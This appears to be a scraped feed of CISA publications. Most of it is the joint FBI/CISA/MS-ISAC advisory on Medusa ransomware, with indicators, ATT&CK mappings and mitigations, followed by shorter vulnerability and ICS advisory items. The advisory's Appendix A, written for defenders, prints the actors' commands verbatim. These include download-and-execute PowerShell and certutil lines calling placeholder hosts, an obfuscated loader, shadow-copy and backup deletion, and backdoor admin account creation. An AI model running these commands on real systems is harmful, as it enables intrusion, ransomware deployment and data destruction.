Files Hash (MD5) Description
!!!READ_ME_MEDUSA!!!.txt Redacted Ransom note file
openrdp.bat 44370f5c977e415981febf7dbb87a85c Allows incoming RDP and remote WMI connections
pu.exe 80d852cd199ac923205b61658a9ec5bc Reverse shell

Table 2 includes email addresses used by Medusa actors to extort victims; they are exclusively used for ransom negotiation and contacting victims following compromise. These email addresses are not associated with phishing activity conducted by Medusa actors.

Table 2: Medusa Email Addresses
Email Addresses Description
key.medusa.serviceteam@protonmail.com Used for ransom negotiation
medusa.support@onionmail.org Used for ransom negotiation
mds.svt.breach@protonmail.com Used for ransom negotiation
mds.svt.mir2@protonmail.com Used for ransom negotiation
MedusaSupport@cock.li Used for ransom negotiation

MITRE ATT&CK Tactics and Techniques

See Table 3Table 11 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3: Initial Access
Technique Title ID Use
Exploit Public-Facing Application T1190 Medusa actors exploited unpatched software or n-day vulnerabilities through common vulnerabilities and exposures.
Initial Access TA0001 Medusa actors recruited initial access brokers (IABS) in cybercriminal forums and marketplaces to obtain initial access.
Phishing T1566 Medusa IABS used phishing campaigns as a primary method for delivering ransomware to victims.
Table 4: Defense Evasion
Technique Title ID Use
Indicator Removal: Clear Command History T1070.003 Medusa actors attempt to cover their tracks by deleting the PowerShell command line history.
Obfuscated Files or Information: Encrypted/Encoded File T1027.013 Medusa actors use a well-known evasion technique that executes a base64 encrypted command.
Obfuscated Files or Information T1027 Medusa actors obfuscated a string by slicing it into pieces and referencing it via a variable.
Indicator Removal T1070 Medusa actors deleted their previous work and tools installed. 
Impair Defenses: Disable or Modify Tools T1562.001 Medusa actors killed or deleted endpoint detection and response tools.
Table 5: Discovery
Technique Title ID Use
Network Service Discovery T1046 Medusa actors utilized living of the land techniques to perform network enumeration.
File and Directory Discovery T1083 Medusa actors utilized Windows Command Prompt for filesystem enumeration.
Network Share Discovery T1135 Medusa actors queried shared drives on the local system to gather sources of information.
System Network Configuration Discovery T1016 Medusa actors used operating system administrative utilities to gather network information.
System Information Discovery T1082 Medusa actors used the command systeminfo to gather detailed system information.
Permission Groups Discovery: Domain Groups T1069.002 Medusa actors attempt to find domain-level group and permission settings.
Table 6: Credential Access
Technique Title ID Use
Credential Access TA0006 Medusa actors harvest credentials with tools like Mimikatz to gain access to systems.
OS Credential Dumping: LSASS Memory T1003.001 Medusa actors were observed accessing credential material stored in process memory or Local Security Authority Subsystem Service (LSASS) using Mimkatz.
Table 7: Lateral Movement and Execution
Technique Title ID Use
Lateral Movement TA0008 Medusa actors performed techniques to move laterally without detection once they gained initial access.
Command and Scripting Interpreter: PowerShell T1059.001 Medusa actors used PowerShell, a powerful interactive command-line interface and scripting environment for ingress, network, and filesystem enumeration.
Command and Scripting Interpreter: Windows Command Shell T1059.003 Medusa actors used Windows Command Prompt—which can be used to control almost any aspect of a system—for ingress, network, and filesystem enumeration. 
Software Deployment Tools T1072 Medusa Actors used PDQ Deploy and BigFix to deploy the encryptor on files across the network.
Remote Services: Remote Desktop Protocol T1021.001 Medusa actors used Remote Desktop Protocol (RDP), a common feature in operating systems, to log into an interactive session with a system and move laterally.
System Services T1569.002 Medusa actors used Sysinternals PsExec to deploy the encryptor on files across the network.
Windows Management Instrumentation T1047 Medusa actors abused Windows Management Instrumentation to query system information.
Table 8: Exfiltration and Encryption
Technique Title  ID Use
Exfiltration TA0010 Medusa actors identified files to exfiltrate out of victim networks.
Exfiltration Over Web Service: Exfiltration to Cloud Storage T1567.002 Medusa actors used Rclone to facilitate exfiltration of data to the Medusa C2 servers.
Table 9: Command and Control
Technique Title ID Use
Ingress Tool Transfer T1105 Medusa actors used PowerShell, Windows Command Prompt, and certutil for file ingress.
Application Layer Protocol: Web Protocols  T1071.001 Medusa actors communicate using application layer protocols associated with web traffic. In this case, Medusa actors used scripts that created reverse or bind shells over port 443: HTTPS.
Remote Access Software T1219 Medusa actors used remote access software to move laterally through the network.
Table 10: Persistence
Technique Title ID Use
Create Account T1136.002 Medusa actors created a domain account to maintain access to victim systems.
Table 11: Impact
Technique Title ID Use
Data Encrypted for Impact T1486 Medusa identified and encrypted data on target systems to interrupt availability to system and network resources.
Inhibit System Recovery T1490 The process gaze.exe terminates all services then deletes shadow copies and encrypts files with AES-256 before dropping the ransom note.
Financial Theft T1657 Victims must pay to decrypt files and prevent further release by Medusa actors.
System Shutdown/Reboot T1529 Medusa actors manually turned off and encrypted virtual machines.
Service Stop T1489 The process gaze.exe terminates all services related to backups, security, databases, communication, file sharing, and websites,

Mitigations

FBI, CISA, and MS-ISAC recommend organizations implement the mitigations below to improve cybersecurity posture based on threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud) [CPG 2.F, 2.R, 2.S].
  • Require all accounts with password logins (e.g., service accounts, admin accounts, and domain admin accounts) to comply with NIST’s standards. In particular, require employees to use long passwords and consider not requiring frequently recurring password changes, as these can weaken security [CPG 2.C].
  • Require multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [CPG 2.H].
  • Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
  • Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [CPG 2.F].
  • Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [CPG 3.A].
  • Require VPNs or Jump Hosts for remote access.
  • Monitor for unauthorized scanning and access attempts.
  • Filter network traffic by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents threat actors from directly connecting to remote access services that they have established for persistence.
  • Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
  • Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 1.A, 2.O].
  • Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [CPG 2.E, 2.N].
  • Disable unused ports[CPG 2.V].
  • Maintain offline backups of data, and regularly maintain backup and restoration [CPG 2.R]. By instituting this practice, the organization helps ensure they will not be severely interrupted and/or only have irretrievable data.
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].

Validate Security Controls

In addition to applying mitigations, the FBI, CISA, and MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The FBI, CISA, and MS-ISAC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (Table 3 to Table 11).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

Reporting

Your organization has no obligation to respond or provide information back to FBI in response to this joint advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.

FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

The FBI, CISA, and MS-ISAC do not encourage paying ransoms as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI, CISA, and MS-ISAC urge you to promptly report ransomware incidents to FBI’s Internet Crime Complaint Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, and MS-ISAC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, and MS-ISAC.

Acknowledgements

ConnectWise contributed to this advisory.

Version History

March 12, 2025: Initial version.

Appendix A: Medusa Commands

These commands explicitly demonstrate the methods used by Medusa threat actors once they obtain a foothold inside a victim network. Incident responders and threat hunters can use this information to detect malicious activity. System administrators can use this information to design allowlist/denylist policies or other protective mechanisms.

cmd.exe /c certutil -f urlcache https://<domain>/<remotefile>.css <localfile>.dll
cmd.exe /c certutil -f urlcache https://<domain>/<remotefile>.msi <localfile>.msi
cmd.exe /c driverquery
cmd.exe /c echo Computer: %COMPUTERNAME% & `
echo Username: %USERNAME% & `
echo Domain: %USERDOMAIN% & `
echo Logon Server: %LOGONSERVER% & `
echo DNS Domain: %USERDNSDOMAIN% & `
echo User Profile: %USERPROFILE% & echo `
System Root: %SYSTEMROOT%
cmd.exe /c ipconfig /all [T1016]
cmd.exe /c net share [T1135]
cmd.exe /c net use
cmd.exe /c netstat -a
cmd.exe /c sc query
cmd.exe /c schtasks
cmd.exe /c systeminfo [T1082]
cmd.exe /c ver
cmd.exe /c wmic printer get caption,name,deviceid,drivername,portname
cmd.exe /c wmic printjob
mmc.exe compmgmt.msc /computer:{hostname/ip}
mstsc.exe /v:{hostname/ip}
mstsc.exe /v:{hostname/ip} /u:{user} /p:{pass}
powershell -exec bypass -enc <base64 encrypted command string>
powershell -nop -c $x = ‘D’ + ‘Own’ + ‘LOa’ + ‘DfI’ + ‘le’; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http://<ip>/<RMM tool>.msi)

powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((

New-Object System.IO.StreamReader(

New-Object System.IO.Compression.GzipStream((

New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(

((‘<base64 payload string>’)-f'<character replacement 0>’,

‘<character replacement 1>’,'<character replacement 2>’)))),

[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

powershell Remove-Item (Get-PSReadlineOption).HistorySavePath

powershell Get-ADComputer -Filter * -Property * | Select-Object Name,OperatingSystem,OperatingSystemVersion,Description,LastLogonDate,

logonCount,whenChanged,whenCreated,ipv4Address | Export-CSV -Path <file path> 

-NoTypeInformation -Encoding UTF8

psexec.exe -accepteula -nobanner -s \{hostname/ip} “c:windowssystem32taskkill.exe” /f /im WRSA.exe
psexec.exe -accepteula -nobanner -s \{hostname/ip} -c coba.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} -c openrdp.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} -c StopAllProcess.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} -c zam.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} c:tempx.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} cmd
psexec.exe -accepteula -nobanner -s \{hostname/ip} cmd /c   “c:gaze.exe”
psexec.exe -accepteula -nobanner -s \{hostname/ip} cmd /c  “copy \ad02sysvolgaze.exe c:gaze.exe
psexec.exe -accepteula -nobanner -s \{hostname/ip} cmd /c  “copy \ad02sysvolgaze.exe c:gaze.exe && c:gaze.exe”
psexec.exe -accepteula -nobanner -s \{hostname/ip} -u {user} -p {pass} -c coba.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} -u {user} -p {pass} -c hostname/ipwho.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} -u {user} -p {pass} -c openrdp.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} -u {user} -p {pass} -c zam.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} -u {user} -p {pass} cmd
psexec.exe -accepteula -nobanner -s \{hostname/ip} -u {user} -p {pass} -с newuser.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} -с duooff.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} -с hostname/ipwho.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} -с newuser.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} -с removesophos.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} -с start.bat
psexec.exe -accepteula -nobanner -s \{hostname/ip} -с uninstallSophos.bat
nltest /dclist:
net group “domain admins” /domain [T1069.002]
net group “Domain Admins” default /add /domain
net group “Enterprise Admins” default /add /domain
net group “Remote Desktop Users” default /add /domain
net group “Group Policy Creator Owners” default /add /domain
net group “Schema Admins” default /add /domain
net group “domain users” /domain
net user default /active:yes /domain
net user /add default <password> /domain [T1136.002]
query user
reg add HKLMSystemCurrentControlSetControlLsa /v DisableRestrictedAdmin /t REG_DWORD /d 0
systeminfo
vssadmin.exe Delete Shadows /all /quiet
vssadmin.exe resize shadowstorage /for=%s /on=%s /maxsize=unbounded
del /s /f /q %s*.VHD %s*.bac %s*.bak %s*.wbcat %s*.bkf %sBac kup*.* %sbackup*.* %s*.set %s*.win %s*.dsk
netsh advfirewall firewall add rule name=”rdp” dir=in protocol=tcp localport=3389 action=allow
netsh advfirewall firewall set rule group=”windows management instrumentation (wmi)” new enable=yes
reg add “HKLMSYSTEMCurrentControlSetControlTerminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

 Read More

CISA and Partners Release Cybersecurity Advisory on Medusa Ransomware

 ​Today, CISA—in partnership with the Federal Bureau of Investigation (FBI) and Multi-State Information Sharing and Analysis Center (MS-ISAC)—released joint Cybersecurity Advisory, #StopRansomware: Medusa Ransomware. This advisory provides tactics, techniques, and procedures (TTPs), indicators of compromise (IOCs), and detection methods associated with known Medusa ransomware activity.
Medusa is a ransomware-as-a-service variant used to conduct ransomware attacks; as of December 2024, over 300 victims from critical infrastructure sectors have been impacted. Medusa actors use common techniques like phishing campaigns and exploiting unpatched software vulnerabilities.
Immediate actions organizations can take to mitigate Medusa ransomware activity: 

Ensure operating systems, software, and firmware are patched and up to date.
Segment networks to restrict lateral movement.
Filter network traffic by preventing unknown or untrusted origins from accessing remote services.

CISA encourages network defenders to review the advisory and implement the recommended mitigations to reduce the likelihood and impact of Medusa ransomware incidents. See #StopRansomware and the #StopRansomware Guide for additional guidance on ransomware protection, detection, and response. 

Today, CISA—in partnership with the Federal Bureau of Investigation (FBI) and Multi-State Information Sharing and Analysis Center (MS-ISAC)—released joint Cybersecurity Advisory, #StopRansomware: Medusa Ransomware. This advisory provides tactics, techniques, and procedures (TTPs), indicators of compromise (IOCs), and detection methods associated with known Medusa ransomware activity.

Medusa is a ransomware-as-a-service variant used to conduct ransomware attacks; as of December 2024, over 300 victims from critical infrastructure sectors have been impacted. Medusa actors use common techniques like phishing campaigns and exploiting unpatched software vulnerabilities.

Immediate actions organizations can take to mitigate Medusa ransomware activity: 

  • Ensure operating systems, software, and firmware are patched and up to date.
  • Segment networks to restrict lateral movement.
  • Filter network traffic by preventing unknown or untrusted origins from accessing remote services.

CISA encourages network defenders to review the advisory and implement the recommended mitigations to reduce the likelihood and impact of Medusa ransomware incidents. See #StopRansomware and the #StopRansomware Guide for additional guidance on ransomware protection, detection, and response.

 Read More

CISA Adds Six Known Exploited Vulnerabilities to Catalog

 ​CISA has added six new vulnerabilities to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation.

CVE-2025-24983 Microsoft Windows Win32k Use-After-Free Vulnerability
CVE-2025-24984 Microsoft Windows NTFS Information Disclosure Vulnerability
CVE-2025-24985 Microsoft Windows Fast FAT File System Driver Integer Overflow Vulnerability
CVE-2025-24991 Microsoft Windows NTFS Out-Of-Bounds Read Vulnerability
CVE-2025-24993 Microsoft Windows NTFS Heap-Based Buffer Overflow Vulnerability
CVE-2025-26633 Microsoft Windows Management Console (MMC) Improper Neutralization Vulnerability

These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.
Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.
Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria. 

CISA has added six new vulnerabilities to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation.

  • CVE-2025-24983 Microsoft Windows Win32k Use-After-Free Vulnerability
  • CVE-2025-24984 Microsoft Windows NTFS Information Disclosure Vulnerability
  • CVE-2025-24985 Microsoft Windows Fast FAT File System Driver Integer Overflow Vulnerability
  • CVE-2025-24991 Microsoft Windows NTFS Out-Of-Bounds Read Vulnerability
  • CVE-2025-24993 Microsoft Windows NTFS Heap-Based Buffer Overflow Vulnerability
  • CVE-2025-26633 Microsoft Windows Management Console (MMC) Improper Neutralization Vulnerability

These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.

Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.

Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.

 Read More

Schneider Electric Uni-Telway Driver

 ​View CSAF
1. EXECUTIVE SUMMARY

CVSS v4 6.8
ATTENTION: Low attack complexity
Vendor: Schneider Electric
Equipment: Uni-Telway Driver
Vulnerability: Improper Input Validation

2. RISK EVALUATION
Successful exploitation of this vulnerability could allow an attacker to perform a denial of service.
3. TECHNICAL DETAILS
3.1 AFFECTED PRODUCTS
Schneider Electric reports the following products are affected:

Schneider Electric Uni-Telway Driver: All versions
Schneider Electric Uni-Telway Driver installed on Control Expert: All versions
Schneider Electric Uni-Telway Driver installed on Process Expert: All versions
Schneider Electric Uni-Telway Driver installed on Process Expert for AVEVA System Platform: All versions
Schneider Electric Uni-Telway Driver installed on OPC Factory Server: All versions

3.2 VULNERABILITY OVERVIEW
3.2.1 IMPROPER INPUT VALIDATION CWE-20
Schneider Electric Uni-Telway Driver is vulnerable to an improper input validation vulnerability that could cause denial-of-service of engineering workstations when a specific driver interface is invoked locally by an authenticated user with crafted input.
CVE-2024-10083 has been assigned to this vulnerability. A CVSS v3 base score of 5.5 has been calculated; the CVSS vector string is (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
A CVSS v4 score has also been calculated for CVE-2024-10083. A base score of 6.8 has been calculated; the CVSS vector string is (AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N).
3.3 BACKGROUND

CRITICAL INFRASTRUCTURE SECTORS: Commercial Facilities, Critical Manufacturing, Energy
COUNTRIES/AREAS DEPLOYED: Worldwide
COMPANY HEADQUARTERS LOCATION: France

3.4 RESEARCHER
Sangjun Park, Jongseoung Kim, Byunghyun Kang, Yunjin Park, Albert Einstein, Kwon Yul, Seungchan Kim of today-0day reported this vulnerability to Schneider Electric.
4. MITIGATIONS
Schneider Electric has identified the following specific workarounds and mitigations users can apply to reduce risk:
For users requiring the use of Uni-Telway Driver, Schneider Electric recommends using following mitigations to reduce the risk of exploit:

McAfee Application and Change Control software for application control. Refer to the Cybersecurity Application Note available https://www.se.com/ww/en/download/document/EIO0000004778/.
Follow workstation, network, and site-hardening guidelines in the Schneider Electric Recommended Cybersecurity Best Practices document. For users not requiring the use of Uni-Telway driver, Schneider Electric recommends uninstalling the driver. Version 16.1 of EcoStruxure Control Expert does not include Uni-Telway driver by default anymore. This vulnerability is only affecting users who have installed Uni-Telway driver. To ensure users are informed of all updates, including details on affected products and remediation plans, subscribe to Schneider Electric’s security notification service here: https://www.se.com/ww/en/work/support/cybersecurity/security-notifications.jsp

For more information see the associated Schneider Electric CPCERT security advisory SEVD-2025-042-02 Uni-Telway driver used in EcoStruxureTM Control Expert, EcoStruxureTM Process – SEVD-2025-042-02 PDF Version, Uni-Telway driver used in EcoStruxureTM Control Expert, EcoStruxureTM Process – SEVD-2025-042-02 CSAF Version.
CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability, such as:

Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.
Locate control system networks and remote devices behind firewalls and isolating them from business networks.
When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs). Recognize VPNs may have vulnerabilities, should be updated to the most recent version available, and are only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.
CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.
Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies.
Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.
No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely.
5. UPDATE HISTORY

March 11, 2025: Initial Publication 

View CSAF

1. EXECUTIVE SUMMARY

  • CVSS v4 6.8
  • ATTENTION: Low attack complexity
  • Vendor: Schneider Electric
  • Equipment: Uni-Telway Driver
  • Vulnerability: Improper Input Validation

2. RISK EVALUATION

Successful exploitation of this vulnerability could allow an attacker to perform a denial of service.

3. TECHNICAL DETAILS

3.1 AFFECTED PRODUCTS

Schneider Electric reports the following products are affected:

  • Schneider Electric Uni-Telway Driver: All versions
  • Schneider Electric Uni-Telway Driver installed on Control Expert: All versions
  • Schneider Electric Uni-Telway Driver installed on Process Expert: All versions
  • Schneider Electric Uni-Telway Driver installed on Process Expert for AVEVA System Platform: All versions
  • Schneider Electric Uni-Telway Driver installed on OPC Factory Server: All versions

3.2 VULNERABILITY OVERVIEW

3.2.1 IMPROPER INPUT VALIDATION CWE-20

Schneider Electric Uni-Telway Driver is vulnerable to an improper input validation vulnerability that could cause denial-of-service of engineering workstations when a specific driver interface is invoked locally by an authenticated user with crafted input.

CVE-2024-10083 has been assigned to this vulnerability. A CVSS v3 base score of 5.5 has been calculated; the CVSS vector string is (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

A CVSS v4 score has also been calculated for CVE-2024-10083. A base score of 6.8 has been calculated; the CVSS vector string is (AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N).

3.3 BACKGROUND

  • CRITICAL INFRASTRUCTURE SECTORS: Commercial Facilities, Critical Manufacturing, Energy
  • COUNTRIES/AREAS DEPLOYED: Worldwide
  • COMPANY HEADQUARTERS LOCATION: France

3.4 RESEARCHER

Sangjun Park, Jongseoung Kim, Byunghyun Kang, Yunjin Park, Albert Einstein, Kwon Yul, Seungchan Kim of today-0day reported this vulnerability to Schneider Electric.

4. MITIGATIONS

Schneider Electric has identified the following specific workarounds and mitigations users can apply to reduce risk:

For users requiring the use of Uni-Telway Driver, Schneider Electric recommends using following mitigations to reduce the risk of exploit:

  • McAfee Application and Change Control software for application control. Refer to the Cybersecurity Application Note available https://www.se.com/ww/en/download/document/EIO0000004778/.
  • Follow workstation, network, and site-hardening guidelines in the Schneider Electric Recommended Cybersecurity Best Practices document. For users not requiring the use of Uni-Telway driver, Schneider Electric recommends uninstalling the driver. Version 16.1 of EcoStruxure Control Expert does not include Uni-Telway driver by default anymore. This vulnerability is only affecting users who have installed Uni-Telway driver. To ensure users are informed of all updates, including details on affected products and remediation plans, subscribe to Schneider Electric’s security notification service here: https://www.se.com/ww/en/work/support/cybersecurity/security-notifications.jsp

For more information see the associated Schneider Electric CPCERT security advisory SEVD-2025-042-02 Uni-Telway driver used in EcoStruxureTM Control Expert, EcoStruxureTM Process – SEVD-2025-042-02 PDF Version, Uni-Telway driver used in EcoStruxureTM Control Expert, EcoStruxureTM Process – SEVD-2025-042-02 CSAF Version.

CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability, such as:

  • Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.
  • Locate control system networks and remote devices behind firewalls and isolating them from business networks.
  • When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs). Recognize VPNs may have vulnerabilities, should be updated to the most recent version available, and are only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely.

5. UPDATE HISTORY

  • March 11, 2025: Initial Publication

 Read More

Optigo Networks Visual BACnet Capture Tool/Optigo Visual Networks Capture Tool

 ​View CSAF
1. EXECUTIVE SUMMARY

CVSS v4 9.3
ATTENTION: Exploitable remotely/low attack complexity
Vendor: Optigo Networks
Equipment: Visual BACnet Capture Tool, Optigo Visual Networks Capture Tool
Vulnerabilities: Use of Hard-coded, Security-relevant Constants, Authentication Bypass Using an Alternate Path or Channel

2. RISK EVALUATION
Successful exploitation of these vulnerabilities could allow an attacker to bypass authentication, gain control over the products, or impersonate the web applications.
3. TECHNICAL DETAILS
3.1 AFFECTED PRODUCTS
The following versions of Optigo Networks Visual BACnet Capture Tool and Optigo Visual Networks Capture Tool are affected:

Visual BACnet Capture Tool: Version 3.1.2rc11
Optigo Visual Networks Capture Tool: Version 3.1.2rc11

3.2 VULNERABILITY OVERVIEW
3.2.1 USE OF HARD-CODED, SECURITY-RELEVANT CONSTANTS CWE-547
Optigo Networks Visual BACnet Capture Tool and Optigo Visual Networks Capture Tool version 3.1.2rc11 contain a hard coded secret key. This could allow an attacker to generate valid JWT (JSON Web Token) sessions.
CVE-2025-2079 has been assigned to this vulnerability. A CVSS v3.1 base score of 7.5 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
A CVSS v4 score has also been calculated for CVE-2025-2079. A base score of 8.7 has been calculated; the CVSS vector string is (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N).
3.2.2 AUTHENTICATION BYPASS USING AN ALTERNATE PATH OR CHANNEL CWE-288
Optigo Networks Visual BACnet Capture Tool and Optigo Visual Networks Capture Tool version 3.1.2rc11 contain an exposed web management service that could allow an attacker to bypass authentication measures and gain controls over utilities within the products.
CVE-2025-2080 has been assigned to this vulnerability. A CVSS v3.1 base score of 9.8 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
A CVSS v4 score has also been calculated for CVE-2025-2080. A base score of 9.3 has been calculated; the CVSS vector string is (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N).
3.2.3 USE OF HARD-CODED, SECURITY-RELEVANT CONSTANTS CWE-547
Optigo Networks Visual BACnet Capture Tool and Optigo Visual Networks Capture Tool version 3.1.2rc11 are vulnerable to an attacker impersonating the web application service and mislead victim clients.
CVE-2025-2081 has been assigned to this vulnerability. A CVSS v3.1 base score of 7.5 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
A CVSS v4 score has also been calculated for CVE-2025-2081. A base score of 8.7 has been calculated; the CVSS vector string is (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N).
3.3 BACKGROUND

CRITICAL INFRASTRUCTURE SECTORS: Information Technology
COUNTRIES/AREAS DEPLOYED: Worldwide
COMPANY HEADQUARTERS LOCATION: Canada

3.4 RESEARCHER
